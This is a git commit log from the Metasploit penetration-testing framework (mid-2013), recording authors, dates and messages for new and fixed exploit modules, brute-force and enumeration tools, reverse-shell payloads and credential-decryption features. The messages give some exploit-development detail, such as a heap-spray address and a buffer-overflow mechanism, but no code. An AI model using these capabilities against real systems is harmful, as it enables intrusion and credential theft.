KarnGaneshen 6188df1b3a added note :type - Info. This is mandatory field for report_note. also, vprint statements seem to be adding an extra space with a hyphen. kinda make print dis-aligned than other regular print_* statements. changed -> to -, removed ' from '#{user/pass}'. works fine. msftidy check. module load check. pcap taken. 2013-06-13 14:03:55 +05:30
William Vu 2fbc79d70d Anchor all the things
This fix isn't optimal, since we shouldn't be using regex anyway.
2013-06-12 22:20:46 -05:00
Brandon Perry e880201a44 Revert "fix regex anchoring"
This reverts commit a85e6aacf3.
2013-06-12 18:05:19 -05:00
Brandon Perry a85e6aacf3 fix regex anchoring 2013-06-12 17:56:44 -05:00
Brandon Perry 2f91a541fb Merge remote-tracking branch 'wvu-r7/fix-msfpayload-1944' into csharp_payload 2013-06-12 17:30:44 -05:00
Brandon Perry 3cb851e4e0 Merge remote-tracking branch 'todb-r7/fix-msftidy-1944' into csharp_payload 2013-06-12 17:29:00 -05:00
Brandon Perry 0f06e9b08c Merge branch 'master' of https://github.com/rapid7/metasploit-framework into csharp_payload 2013-06-12 17:27:55 -05:00
sinn3r ca85785418 Land #1948 - Add module for CVE-2012-1533 2013-06-12 16:19:11 -05:00
Tasos Laskos b509ac8504 Crawler mixin: Dirbusting opt moved to advanced 2013-06-13 00:04:31 +03:00
Tasos Laskos b474cda4aa Crawler/Anemone: Dirbusting now optional
[FIXRM #8030]

Anemone updated to make dirbusting optional (on by default) and the Crawler core
module updated to provide an option to do so.
2013-06-13 00:00:09 +03:00
jvazquez-r7 eaba8e7b59 up to date 2013-06-12 15:44:00 -05:00
Samuel Huckins 8287dd314f Merge pull request #1941 from jlee-r7/http-server-inspect
Functional tests in msfconsole passing, as are MSF and Pro specs. References in Pro to items that appeared session related were either debug oriented or commented out.
2013-06-12 12:54:29 -07:00
jvazquez-r7 afb2f83238 Add module for CVE-2012-1533 2013-06-12 14:40:53 -05:00
sinn3r ff8afc1490 Land #1945 - MS13-037 (CVE-2013-2551) 2013-06-12 13:29:35 -05:00
William Vu 8f8cc77a9d Fix/add C# support for msf{payload,venom}
Quick fix for rapid7/metasploit-framework#1944.
2013-06-12 13:13:43 -05:00
jvazquez-r7 0b9cf213df Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-12 12:03:10 -05:00
Tod Beardsley 9c75d821d1 Fix up msftidy warnings on rex/text.rb 2013-06-12 11:17:58 -05:00
William Vu d05ef3ac77 Land #1947, remove JavaPayload source 2013-06-12 11:17:23 -05:00
jvazquez-r7 c38eabe481 Fix description, code and perform test 2013-06-12 11:07:03 -05:00
James Lee 636b6b61ec Remove javapayload source
Replace with a README pointing at the new repo:
https://github.com/rapid7/metasploit-javapayload
2013-06-12 10:57:23 -05:00
William Vu beb73e5bb0 Land #1946, remove Meterpreter source 2013-06-12 10:49:52 -05:00
jvazquez-r7 5c8053491f Add DEP bypass for ntdll ms12-001 2013-06-12 10:41:05 -05:00
jvazquez-r7 a1c7961cbc Suport js obfuscation for the trigger 2013-06-12 08:06:12 -05:00
jvazquez-r7 5240c6e164 Add module for MS13-037 CVE-2013-2551 2013-06-12 07:37:57 -05:00
Brandon Perry d0e1e4df0a This commit adds support for C# byte arrays for the assembly payloads. 2013-06-11 19:27:06 -05:00
Brandon Turner 132769d415 Merge branch 'release' 2013-06-11 18:52:11 -05:00
Brandon Turner 72b3ea2be0 Merge pull request #1943 from shuckins-r7:bug/nx-asset-group-push 2013-06-11 18:41:49 -05:00
Samuel Huckins d5be41617e Uses raw-xml-v2 Nexpose export for Nexpose import as this adds device-id
back to XML schema and will result in hosts that can be pushed back to
Nexpose.

[Bug #51521175]
2013-06-11 18:37:02 -05:00
James Lee 6fae148f9d Remove meterpreter source
Replace with a README pointing at the new repo:
https://github.com/rapid7/meterpreter
2013-06-11 16:42:30 -05:00
James Lee 7601152640 Land #1942 2013-06-11 16:29:19 -05:00
Tod Beardsley 6a5d1d06b2 Make the conditional correct for print_prefix
Fixes a bug introduced on #1936.
2013-06-11 16:16:17 -05:00
James Lee af613ee254 Add a more readable #inspect 2013-06-11 15:22:49 -05:00
KarnGaneshen 871f1b7c1f updated prints with ip-port reference. msftidy check. module load check. go rf reader.. 2013-06-12 00:53:58 +05:30
KarnGaneshen 736bf120d9 added sname in report data, corrected :host to rhost, :port to rport. msftidy check. module load check. upping it. 2013-06-12 00:25:50 +05:30
sinn3r 5dfb3de4f3 Land #1940 - Update firefox svg exploit description to be more accurate 2013-06-11 12:16:23 -05:00
Joe Vennix 45da645717 Update ff svg exploit description to be more accurate. 2013-06-11 12:12:18 -05:00
sinn3r 2874aead2e Land #1938 - Change sevone_enum because it's an Scanner 2013-06-11 11:42:18 -05:00
jvazquez-r7 9ea58ba165 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-11 10:40:01 -05:00
jvazquez-r7 430511cbff Land #1937, @wchen-r7's fix for heap spray js code 2013-06-11 09:17:40 -05:00
jvazquez-r7 0578572d98 Change sevone_enum because it's an Scanner 2013-06-11 08:51:15 -05:00
jvazquez-r7 7b6c56ef6d Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-11 08:22:31 -05:00
KarnGaneshen 5c078f5139 added report_note to store collected info. removed register rport for 80t. msftidy & module load checked. pushing it up. 2013-06-11 12:57:26 +05:30
sinn3r 081baad68c Remove variable 'overflow' because it's not used
The 'overflow' variable isn't needed
2013-06-11 02:26:45 -05:00
Ruslaideemin ca0ab8d6ee maxthon_history_xcs.rb - fix User-agent string
request.headers['User-agent'] is incorrect, it should be
request.headers['User-Agent'].

Downloaded following version from oldapps.com to confirm
the exploit code is wrong.

Supported Systems Windows 98, 2000 (Maxthon 2.5.15 Build
  1000), XP, Vista, 7, 8
MD5 Checksum F3791637C886A46940876211209F82F4
SHA1 Checksum 039BB218245E5DC1BAB0F57298C68AC487F86323

Release Date 20 October, 2011 (2 years ago )
2013-06-11 13:37:21 +10:00
Ruslaideemin 4e41e871bb mozilla_reduceright.rb - fix regex error.
[] is character class, and will match on 1, 6, 7, and |.
Where as (16|17) will match on either 16, or 17.

irb(main):053:0> y = /Firefox\/3\.6\.[16|17]/
=> /Firefox\/3\.6\.[16|17]/
irb(main):054:0> x = "Firefox/3.6.13"
=> "Firefox/3.6.13"
irb(main):055:0> x =~ y
=> 0
irb(main):056:0> y = /Firefox\/3\.6\.(16|17)/
=> /Firefox\/3\.6\.(16|17)/
irb(main):057:0> x =~ y
=> nil
2013-06-11 11:52:27 +10:00
Ruslaideemin 996171b35f mozilla_mchannel.rb undefined agent variable
If the TARGET is chosen instead of using the default
automatic, the agent variable will be undefined, which
causes the exploit to fail.
2013-06-11 10:43:47 +10:00
AverageSecurityGuy e7f9833c7e Merge branch 'master' of https://github.com/averagesecurityguy/metasploit-framework 2013-06-10 19:47:10 -04:00
Tod Beardsley f775a0bb01 Handle single quotes for OpenVAS import 2013-06-10 19:45:50 -04:00
AverageSecurityGuy e05763149a Fixed issue downloading XML reports
The XML report has an extra </report> tag which prevents the .text
method from working properly. I used the .to_s method instead.

I also moved the rescue statement because it was masking other errors
that were being raised.
2013-06-10 19:45:50 -04:00
William Vu fe32a747a3 Land #1936, prefer PacketFu and pcaprub gems 2013-06-10 17:28:43 -05:00
jvazquez-r7 72b871d762 up to date 2013-06-10 16:37:05 -05:00
Ruslaideemin d91b412661 adobe_flash_sps.rb - resource_uri vs get_resource
resource_uri will randomize the returned uri unless
datastore['URIPATH"] is set.

get_resource will return the currently used reosurce_uri

Since the incorrect type is used, this exploit is completely broken.

Tested fix with both URIPATH set to / and unset, and it works after
redirect.
2013-06-11 07:13:02 +10:00
Tod Beardsley d7e3c5cdb3 Rspec: Ensure PacketFu is actually still available
PacketFu should be required from the gem, not from the shipped msf
library. Several modules depend on it being available, so this rspec
test mostly just ensures that Msf::Exploit::Capture mixin is still
around.
2013-06-10 16:02:50 -05:00
Tod Beardsley 9a08090b0f Inch toward making modules more testable 2013-06-10 16:02:19 -05:00
Tod Beardsley d4e9431633 Add Gemfile entry for PacketFu 2013-06-10 14:18:05 -05:00
Tod Beardsley 7dafcc76df Remove packetfu and pcaprub libaries
These should be handled by bundler's Gemfile.
2013-06-10 14:12:18 -05:00
jvazquez-r7 c641184e37 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-10 13:30:36 -05:00
sinn3r 5b61f99ee6 Land #1933 - Update smart_hashdump Regular Expressions for Win 8 & 2012 2013-06-10 13:28:04 -05:00
jvazquez-r7 0c6dbe9885 Add final cleanup for sevone_enum 2013-06-10 13:16:22 -05:00
jvazquez-r7 6765a911a4 Land #1921, @juushya brute force login module for SevOne 2013-06-10 13:15:14 -05:00
jvazquez-r7 9c44ea0c61 up to date 2013-06-10 13:02:01 -05:00
sinn3r 622dc27d95 Land #1925 - fix SNMP enum module failing to catch some fail cases
[FixRM:#7945]
2013-06-10 12:51:02 -05:00
Tod Beardsley 31faf65271 Land #1929, spool ui fix from @jsherwood0 2013-06-10 12:30:50 -05:00
KarnGaneshen 72a9c8612b setting rfcode_reader_enum straight. more updates. 2013-06-10 22:57:00 +05:30
jvazquez-r7 b20a38add4 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-10 12:22:52 -05:00
Tod Beardsley fee804a074 Land #1926, Auxiliary::Web changes
Since none of these changes appear to be reachable from Metasploit
Framework, this seems like a nop for me.
2013-06-10 11:59:19 -05:00
KarnGaneshen 5c988d99fe more updates to sevone.rb. hopefully all is covered.. 2013-06-10 21:59:18 +05:30
sinn3r 0895184e1f Land #1932 - Actually support OUTPUTPATH datastore option 2013-06-10 11:22:28 -05:00
KarnGaneshen 04171c46ec more updates to sevone.rb. hopefully all is covered. 2013-06-10 21:47:56 +05:30
William Vu 7ae6383803 Land #1935, @todb-r7's description cleanup 2013-06-10 11:14:04 -05:00
Tod Beardsley f58e279066 Cleanup on module names, descriptions. 2013-06-10 10:52:22 -05:00
jvazquez-r7 51a2bb77b0 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-10 09:33:19 -05:00
jvazquez-r7 3fbbe3e7b3 Make msftidy happy 2013-06-10 08:16:15 -05:00
jvazquez-r7 3c05cf4382 Land #1842, @viris DoS module for cve-2013-0229 2013-06-10 08:15:45 -05:00
Dejan Lukan 154894bda6 Added comments and merged jvazquez-r7-miniupnp_dos_clean branch. 2013-06-10 10:18:26 +02:00
Carlos Perez a9df55c27a Add Windows 2012 to regex matching 2013-06-09 20:46:44 -04:00
Carlos Perez 8e83f0ee30 Add Windows 8 and 2012 to regex matching 2013-06-09 20:41:46 -04:00
John Sherwood 7ac5b6de53 Fix prompt and color issue with cmd_spool
Changing spool setting caused problems with prompt and color. This
fix makes the following changes:

- Saves the color setting and re-applies it to the new output console
- Sets the prompt in the same way that cmd_use does
2013-06-09 13:35:35 -04:00
jvazquez-r7 cae5e871e7 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-08 23:24:39 -05:00
Ruslaideemin cd64e3593c Fix UltraISO file creation
This makes file creation where datastore['FILENAME'] is not used when
a different filename is required, and ends up creating files in the
wrong place.
2013-06-09 12:37:34 +10:00
Ruslaideemin c6b4290fea Fix UltraISO Exploit File Creation
Both ultraiso_ccd.rb and ultraiso_cue.rb use File.open to create
files, instead of using the create_file() function. This leads
to files being created in the wrong directory.

We work around this by dynamically changing the
file_format_filename function to return the corrected filename.
2013-06-09 09:51:15 +10:00
Ruslaideemin cb79aa252a Fix output path in ms10_004_textbytesatom.rb
ms10_004_textbytesatom.rb does not write to the local data directory,
instead it writes to the metasploit path (at least, that's where I
started msfrpcd).

This fixes it by using Msf::Config.local_directory
2013-06-09 07:28:48 +10:00
sinn3r c8c331c290 Land #1928 - Devecot with Exim sender_address param command exec 2013-06-07 22:39:32 -05:00
sinn3r f55edac0ca Title and description update 2013-06-07 22:38:53 -05:00
sinn3r a510084f1c Description change. 2013-06-07 22:35:46 -05:00
jvazquez-r7 600494817d Fix typo and target name 2013-06-07 21:08:38 -05:00
jvazquez-r7 9025b52951 make the payload build more clear 2013-06-07 18:05:11 -05:00
jvazquez-r7 d76e14fc9c Add module for OSVDB 93004 - Exim Dovect exec 2013-06-07 17:59:04 -05:00
Karn Ganeshen ffa18d413f Updated rfcode_reader_enum.rb ...
Updated as per review comments. 
Removed loot of network configuration.
Used JSON.parse to bring cleaner loot output
Changed some print_goods to vprint_status
Changed if not to unless
2013-06-08 03:21:43 +05:30
jvazquez-r7 9d0047ff74 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-07 16:44:52 -05:00
Karn Ganeshen 74bddcf339 Update sevone_enum.rb
New updates as per review comments
2013-06-08 02:28:09 +05:30
sinn3r 19a6f310cd Land #1927 - Add common passwords from xato.net 2013-06-07 15:24:09 -05:00
Tod Beardsley dc680e7106 Underscores because the rest are. 2013-06-07 15:16:39 -05:00
sinn3r aefcc51704 Land #1924 - Java pwn2own 2013: java_jre17_driver_manager (CVE-2013-1488) 2013-06-07 15:12:09 -05:00
Tod Beardsley 0265dd8860 Add common passwords from xato.net
Mark Burnett publishes lists of top passwords occasionally. This PR adds
the top 500 and top 1024 passwords, as of 2011-06-20, linked from this
blog post:

http://xato.net/passwords/more-top-worst-passwords/

He also does a fair bit of frequency analysis there.

The 1024 list, should probably used instead of the original
unix_password.txt file. unix_password.txt  was added on 2010 from an
unknown source (and since edited occasionally to add known good default
passwords). Pulling those changes into this list probably would be
helpful to guess better.

As far as I can tell, there are no special licensing terms for these
lists.
2013-06-07 15:10:14 -05:00
Karn Ganeshen 1ca8fd2cf1 Update sevone_enum.rb
Updated as per initial review comments.
2013-06-08 01:14:43 +05:30
jvazquez-r7 3d86edd3dd Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-07 14:33:33 -05:00
Karn Ganeshen eb0ae6ed27 Update rfcode_reader_enum.rb
Updated as per review comments
2013-06-08 01:00:18 +05:30
David Maloney 6aa7c74fdd make anemone also rspect domain 2013-06-07 14:24:14 -05:00
jvazquez-r7 79bfdf3ca6 Add comment to explain the applet delivery methods 2013-06-07 14:20:21 -05:00
sinn3r b8ba0f27ee Land #1738 - Bug/spec 2.0 compat 2013-06-07 13:58:50 -05:00
Thomas Ring 2bb0bd504c Makign changes recommended in redmine 7945 to fix SNMP enum module failing to catch some fail cases 2013-06-07 13:55:59 -05:00
jvazquez-r7 641fd3c6ce Add also the msf module 2013-06-07 13:39:19 -05:00
jvazquez-r7 7090d4609b Add module for CVE-2013-1488 2013-06-07 13:38:41 -05:00
James Lee 5955397882 Use a more descriptive subject
Also removes the unnecessary (and now broken in 2.0) checks for
respond_to? on accessors.
2013-06-07 13:27:40 -05:00
James Lee 0f2ea755c5 Add encoding comment to spec files for 2.0 compat 2013-06-07 13:27:39 -05:00
Karn Ganeshen 6b8e6b3f0c Create rfcode_reader_enum.rb
Adding new aux - RFCode Reader Web interface Login Brute Force & Config Capture Utility
2013-06-07 23:53:09 +05:30
Karn Ganeshen fcc600aa3e Create sevone_enum.rb
Adding new aux - SevOne Network Performance Management System application version enumeration and brute force login Utility
2013-06-07 23:39:22 +05:30
jvazquez-r7 9c27a294cb Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-07 13:01:37 -05:00
David Maloney 78b2a0a2ac add domain support to web spider 2013-06-07 12:41:20 -05:00
jvazquez-r7 a157e65802 Land #1916, @wchen-r7's exploit for Synactics PDF 2013-06-07 12:11:45 -05:00
sinn3r ea2895ac13 Change to AverageRanking
Just to play with the firing order for Browser Autopwn, this one
should fire as late as possible.
2013-06-07 12:08:51 -05:00
sinn3r 9c7b446532 Updates description about default browser setting 2013-06-07 11:58:31 -05:00
James Lee 0302437c2b Land #1915, smtp user enumeration enhancements 2013-06-07 11:42:41 -05:00
sinn3r f3421f2c3a Fix different landings 2013-06-07 10:26:04 -05:00
jvazquez-r7 0fb77cb4a7 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-07 08:44:07 -05:00
William Vu 4edceea27b Land #1919, update js_property_spray documentation 2013-06-07 08:31:57 -05:00
William Vu 2a6225cb3f Land #1918, change s.message to s.message.to_i 2013-06-07 08:19:49 -05:00
sinn3r 8e2de6d14f Updates js_property_spray documentation
After many tests, it turns out address 0x0c0d2020 is the most
consistent location acorss various IE versions.  For dev purposes,
it's rather important to have this documented somewhere.

Thanks to corelanc0d3r for the data.
2013-06-07 00:28:22 -05:00
sinn3r da4b18c6a1 [FixRM:#8012] - Fix message data type to int
This patch makes sure s.message is actually an int, that way we can
properly stop or enable the service.
2013-06-06 23:49:14 -05:00
sinn3r e559824dc8 Remove whitespace 2013-06-06 20:08:50 -05:00
sinn3r d3e57ffc46 Add OSVDB-93754: Synactis PDF In-The-Box ConnectToSynactic Stack Buffer Overflow
This module exploits a vulnerability found in Synactis' PDF In-The-Box ActiveX
component, specifically PDF_IN_1.ocx.  When a long string of data is given
to the ConnectToSynactis function, which is meant to be used for the ldCmdLine
argument of a WinExec call, a strcpy routine can end up overwriting a TRegistry
class pointer saved on the stack, and results in arbitrary code execution under the
context of the user.
2013-06-06 20:05:08 -05:00
Thomas Ring 8cf5b548c3 make recommended changes 2013-06-06 14:23:25 -05:00
Thomas Ring 067899341e fix a number of issues with the existing module (slowness, false positives, false negatives, stack traces, enumering unix users on windows systems, etc) 2013-06-06 13:26:04 -05:00
jvazquez-r7 ec52795182 Clean for miniupnp_dos.rb 2013-06-06 11:19:26 -05:00
jvazquez-r7 ea2b7e623d Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-06 08:21:39 -05:00
William Vu b34c3fbbc1 Land #1914, OSVDB and EDB references for Openfiler 2013-06-05 20:05:44 -05:00
Steve Tornio 4d26299de3 add osvdb ref 93881 and edb ref 21191 2013-06-05 18:57:33 -05:00
jvazquez-r7 3f41670b9a Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-05 15:29:15 -05:00
sinn3r 9466022194 Land #1847 - Add sorting functionality to notes command 2013-06-05 12:17:54 -05:00
sinn3r 026c658260 Comply with the case-sensitive rule 2013-06-05 12:16:38 -05:00
jvazquez-r7 e5a17ba227 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-05 09:41:23 -05:00
William Vu 1596fb478a Land #1886, awk bind shell 2013-06-05 09:05:37 -05:00
William Vu 8ffa4ac9ac Land #1885, awk reverse shell 2013-06-05 09:04:49 -05:00
Roberto Soares Espreto f6977c41c3 Modifications done in each PR. 2013-06-05 07:55:05 -03:00
Roberto Soares Espreto b20401ca8c Modifications done in each PR. 2013-06-05 07:51:10 -03:00
sinn3r 6d3dcf0cef Land #1912 - Fixed check for Admins SID in whoami /group output 2013-06-05 02:55:38 -05:00
sinn3r a3b25fd7c9 Land #1909 - Novell Zenworks Mobile Device Managment exploit & auxiliary 2013-06-05 02:45:45 -05:00
sinn3r 307773b6a1 Extra space - die! 2013-06-05 02:44:56 -05:00
sinn3r 0c1d46c465 Add more references 2013-06-05 02:43:43 -05:00
sinn3r 46aa6d38f8 Add a check for it 2013-06-05 02:41:03 -05:00
sinn3r a270d37306 Take apart the version detection code 2013-06-05 02:34:35 -05:00
sinn3r 25fe03b981 People like this format better: IP:PORT - Message 2013-06-05 02:26:18 -05:00
sinn3r 02e29fff66 Make msftidy happy 2013-06-05 02:25:08 -05:00
sinn3r 35459f2657 Small name change, don't mind me 2013-06-05 02:18:11 -05:00
sinn3r 227fa4d779 Homie needs a default target 2013-06-05 02:16:59 -05:00
sinn3r 5d90c6cd71 Make msftidy happy 2013-06-05 02:11:23 -05:00
sinn3r ca5155f01d Final touchup novell_mdm_creds 2013-06-05 02:08:55 -05:00
sinn3r a5a3f40394 Report auth info 2013-06-05 02:06:32 -05:00
Roberto Soares Espreto 34243165c5 Some changes with improvements. 2013-06-04 21:22:10 -03:00
Roberto Soares Espreto e2988727fb Some changes with improvements. 2013-06-04 21:10:51 -03:00
cbgabriel 1032663cd4 Fixed check for Administrators SID in whoami /group output 2013-06-04 18:34:06 -04:00
jvazquez-r7 fc35fedf00 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-04 15:19:48 -05:00
Samuel Huckins 95c1df2b7f Merge pull request #1908 from dmaloney-r7/feature/task_sssoc/sessions
Specs and functional tests passing, PT #51076813
2013-06-04 12:46:53 -07:00
sinn3r 55af517b56 Land #1907 - Updated script example notes 2013-06-04 14:38:39 -05:00
David Maloney 2e26256217 was missing a nil check 2013-06-04 14:21:07 -05:00
David Maloney a40b6a3569 Merge branch 'master' into feature/task_sssoc/sessions
Conflicts:
	Gemfile
	Gemfile.lock
2013-06-04 14:11:41 -05:00
David Maloney c4475538e7 Report on TaskSession associations
add TaskSession objects so when we report
on a session, we know what Task created it, if there
was a task
2013-06-04 13:42:36 -05:00
Garret Picchioni c40a73456b Updated example syntax to correctly identify filename 2013-06-04 10:26:00 -07:00
jvazquez-r7 b3a99affe0 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-04 12:07:27 -05:00
Samuel Huckins ebb3f2ab0b Merge pull request #1905 from dmaloney-r7/feature/mdm_version_bump
Specs passing, new MDM version release
2013-06-04 09:55:09 -07:00
sinn3r e70221a993 Land #1903 - Add decryptioin for firefox_creds 2013-06-04 11:38:03 -05:00
David Maloney 6c013260f1 Merge branch 'master' into feature/mdm_version_bump
Conflicts:
	Gemfile
	Gemfile.lock
2013-06-04 11:37:53 -05:00
sinn3r cb31772302 Fix indent 2013-06-04 11:37:16 -05:00
steponequit ed4766dc46 initial commit of novell mdm modules 2013-06-04 09:20:10 -07:00
David Maloney 504d52cc64 new version bump
going with 0.16.0 for this update
2013-06-04 10:17:16 -05:00
jvazquez-r7 3111013991 Minor cleanup for miniupnpd_soap_bof 2013-06-04 08:53:52 -05:00
jvazquez-r7 6497e5c7a1 Move exploit under the linux tree 2013-06-04 08:53:18 -05:00
jvazquez-r7 0bf2f51622 Land #1843, @viris exploit for CVE-2013-0230 2013-06-04 08:52:09 -05:00
jvazquez-r7 86c768ad02 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-04 08:15:28 -05:00
Dejan Lukan 2fe704ce38 Deleted undeeded comments and spaces. 2013-06-04 09:00:53 +02:00
Dejan Lukan 8ced3483de Deleted some undeeded comments and used the text_rand function rather than static values. 2013-06-04 08:44:47 +02:00
sinn3r ad87065b9a Land #1904 - Undefined variable 'path' in tomcat_deploy_mgr.rb 2013-06-04 01:35:13 -05:00
Ruslaideemin 71bc06d576 Fix undefined variable in tomcat_mgr_deploy.rb
Exploit failed (multi/http/tomcat_mgr_deploy): NameError undefined
local variable or method `path' for #<Msf...>
[06/04/2013 10:14:03] [d(3)] core: Call stack:
modules/exploits/multi/http/tomcat_mgr_deploy.rb:253:in `exploit'
lib/msf/core/exploit_driver.rb:205:in `job_run_proc'
lib/msf/core/exploit_driver.rb:166:in `run'
lib/msf/base/simple/exploit.rb:136:in `exploit_simple'
lib/msf/base/simple/exploit.rb:161:in `exploit_simple'
lib/msf/ui/console/command_dispatcher/exploit.rb:111:in `cmd_exploit'
lib/rex/ui/text/dispatcher_shell.rb:427:in `run_command'
lib/rex/ui/text/dispatcher_shell.rb:389:in `block in run_single'
lib/rex/ui/text/dispatcher_shell.rb:383:in `each'
lib/rex/ui/text/dispatcher_shell.rb:383:in `run_single'
lib/rex/ui/text/shell.rb:200:in `run'
lib/msf/ui/web/console.rb:71:in `block in initialize'
lib/msf/core/thread_manager.rb:100:in `call'
lib/msf/core/thread_manager.rb:100:in `block in spawn'

Uses path instead of path_tmp in error messages.
2013-06-04 11:19:28 +10:00
jvazquez-r7 a5f9ed890b Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-03 16:23:12 -05:00
jvazquez-r7 30a019e422 Land #1891, @wchen-r7's improve for ie_cgenericelement_uaf 2013-06-03 15:35:43 -05:00
jvazquez-r7 4079484968 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-03 15:27:36 -05:00
William Vu 055e0a222c Land #1902, OSVDB reference for memcached 2013-06-03 14:57:43 -05:00
Tod Beardsley 4cf682691c New module title and description fixes 2013-06-03 14:40:38 -05:00
sinn3r b087951118 Add OSVDB reference 92867 for Memcached DoS module 2013-06-03 12:41:33 -05:00
sinn3r 116e2bb418 Landing #1782 - Added Memcached Remote Denial of Service module 2013-06-03 12:30:37 -05:00
sinn3r 3d9dcbf5bd Add a check to see if the host is down 2013-06-03 12:26:57 -05:00
xard4s 423a33b1fc Added firefox pw decryption support 2013-06-03 13:13:59 -04:00
sinn3r c705928052 Landing #1899 - Add OSVDB ref 85462 for esva_exec.rb 2013-06-03 10:40:31 -05:00
sinn3r 9818a42235 Landing #1898 - Add OSVDB ref 77183 for vcms_upload.rb 2013-06-03 10:39:18 -05:00
Samuel Huckins f6b9e926d5 Merge pull request #1901 from dmaloney-r7/feature/task_assoc/reports
Passing locally, was only failing on the lack of 0.15.2 MDM, which is now pushed to RubyGems. Failing now on an unrelated rake install issue, not sure what's up with Travis.
2013-06-03 08:22:29 -07:00
David Maloney 37f7e36fda bump mdm version to 0.15.2
This changes does not really affect framework
it is a change for pro functionality
just keeping us inline
2013-06-03 08:51:36 -05:00
Steve Tornio 76faba60b7 add osvdb ref 85462 2013-06-03 06:16:43 -05:00
Steve Tornio e612a3d017 add osvdb ref 77183 2013-06-03 05:42:56 -05:00
Dejan Lukan 217b263af7 Moved the module to different location and make it msftidy.rb compliant. 2013-06-03 10:35:10 +02:00
Dejan Lukan df20e79375 Deleted the handle because it's not required and check() function. 2013-06-03 10:18:43 +02:00
Dejan Lukan 36f275d71a Changed the send_request_raw into send_request_cgi function. 2013-06-03 10:06:24 +02:00
Dejan Lukan 675fbb3045 Deleted the DoS UPnP modules, because they are not relevant to the current branch. 2013-06-03 09:45:29 +02:00
Dejan Lukan e8752e1400 Merge branch 'module-cve-2013-0230' of ssh://github.com/viris/metasploit-framework into module-cve-2013-0230 2013-06-03 09:41:26 +02:00
Dejan Lukan 1ceed1e44a Added corrected MiniUPnP module. 2013-06-03 09:37:04 +02:00
Dejan Lukan d656360c24 Added CVE-2013-0230 for MiniUPnPd 1.0 stack overflow vulnerability 2013-06-03 09:37:03 +02:00
Dejan Lukan 39e4573d86 Added CVE-2013-0229 for MiniUPnPd < 1.4 2013-06-03 09:37:03 +02:00
sinn3r e74c1d957f Landing #1897 - Add OSVDB ref 93444 for mutiny_frontend_upload.rb 2013-06-03 02:15:35 -05:00
sinn3r 093830d725 Landing #1896 - Add OSVDB ref 82925 for symantec_web_gateway_exec.rb 2013-06-03 02:13:34 -05:00
sinn3r 57f9cc3643 Landing #1895 - Add OSVDB ref 56992 for sock_sendpage.rb 2013-06-03 02:12:23 -05:00
sinn3r e8f32f4e5e Landing #1894 - Change print_status to print_good when SVN entries are found 2013-06-03 02:10:55 -05:00
AverageSecurityGuy 4e865376e5 Merge branch 'master' of https://github.com/averagesecurityguy/metasploit-framework 2013-06-02 23:00:09 -04:00
Tod Beardsley d77f1176b2 Handle single quotes for OpenVAS import 2013-06-02 22:58:10 -04:00
AverageSecurityGuy eb550d3cfa Fixed issue downloading XML reports
The XML report has an extra </report> tag which prevents the .text
method from working properly. I used the .to_s method instead.

I also moved the rescue statement because it was masking other errors
that were being raised.
2013-06-02 22:58:10 -04:00
Steve Tornio c2c630c338 add osvdb ref 93444 2013-06-02 21:03:44 -05:00
Steve Tornio bc993b76fc add osvdb ref 82925 2013-06-02 20:43:16 -05:00
Steve Tornio ae17e9f7b5 add osvdb ref 56992 2013-06-02 18:32:46 -05:00
CG 571b62d19d svn scanner added print_good and rport 2013-06-02 18:05:11 -04:00
sinn3r cb33c5685f Landing #1890 - Oracle WebCenter Content openWebdav() vulnerability 2013-06-02 12:35:40 -05:00
sinn3r 866ebf771b Landing #1892 - Add OSVDB reference (93287) 2013-06-02 12:23:17 -05:00
Steve Tornio 61c8861fcf add osvdb ref 2013-06-02 08:33:42 -05:00
sinn3r cc951e3412 Modifies the exploit a little for better stability
This patch makes sure the LFH is enabled before the CGenericElement
object is created.  Triggers is also modified a little.
2013-06-02 03:02:42 -05:00
jvazquez-r7 f68d35f251 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-01 17:09:23 -05:00
jvazquez-r7 1917961904 Land #1888, @swtornio's update for OSVDB references 2013-06-01 16:36:59 -05:00
jvazquez-r7 1c4472a936 Land #1889, @swtornio update for OSVDB references 2013-06-01 16:32:37 -05:00
jvazquez-r7 5939ca8ce4 Add analysis at the end of the module 2013-06-01 15:59:17 -05:00
jvazquez-r7 9be8971bb0 Add module for ZDI-13-094 2013-06-01 15:44:01 -05:00
Steve Tornio 8671ae9de7 add osvdb ref 2013-06-01 14:27:50 -05:00
David Maloney 64bc6b5c2b Migrate factories to mdm
let mdm handle msot of the factories
2013-06-01 14:25:30 -05:00
David Maloney d48bca2c70 Gemfile and schema changes 2013-06-01 14:09:40 -05:00
Steve Tornio 80f1e98952 added osvdb refs 2013-06-01 07:04:43 -05:00
jvazquez-r7 d42ac02e3e Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-05-31 23:01:05 -05:00
James Lee e634672244 Land #1887, ibm spss zdi reference 2013-05-31 21:33:04 -05:00
jvazquez-r7 f8e9535c39 Add ZDI reference 2013-05-31 20:50:53 -05:00
jvazquez-r7 3a360caba1 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-05-31 19:03:21 -05:00
sinn3r d679946b7f Landing #1713 - add_sub encoder for x86 payloads 2013-05-31 18:49:08 -05:00
sinn3r 2ac0d25413 Fixes e-mail format, also a whitespace 2013-05-31 18:47:46 -05:00
Bruno Morisson d318c1cd22 included feedback 2013-06-01 00:31:06 +01:00
Roberto Soares Espreto d9609fb03e Was breaking with repeated commands 2013-05-31 18:44:48 -03:00
